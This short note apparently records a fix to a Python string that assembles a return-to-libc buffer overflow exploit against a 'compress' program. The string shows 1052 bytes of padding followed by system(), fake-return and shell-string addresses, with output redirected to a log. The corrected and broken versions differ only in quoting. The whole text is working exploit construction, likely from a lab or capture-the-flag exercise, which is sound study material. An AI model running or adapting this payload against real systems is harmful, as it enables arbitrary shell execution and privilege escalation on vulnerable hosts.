Wrong string cmdline fixed

cmdline = "{ " + source_directory + "compress `perl -e 'print \"A\"x1052 . " + "\"" + system_address + "\"" + \
  " . " + "\"" + fake_address + "\"" + " . " + "\"" + shell_address + "\"" + ";'`" + " ; sleep 1 ; } > " + log_file_path + " 2>&1 &"

instead of 

cmdline = "{ " + source_directory + "compress `perl -e 'print \"A\"x1052 . " + "\"" + system_address + "\"" + \
  " . " + "\"" + fake_address + " . " + "\"" + " . " + "\"" + shell_address + "\"" + ";'`" + " ; sleep 1 ; } > " + log_file_path + " 2>&1 &"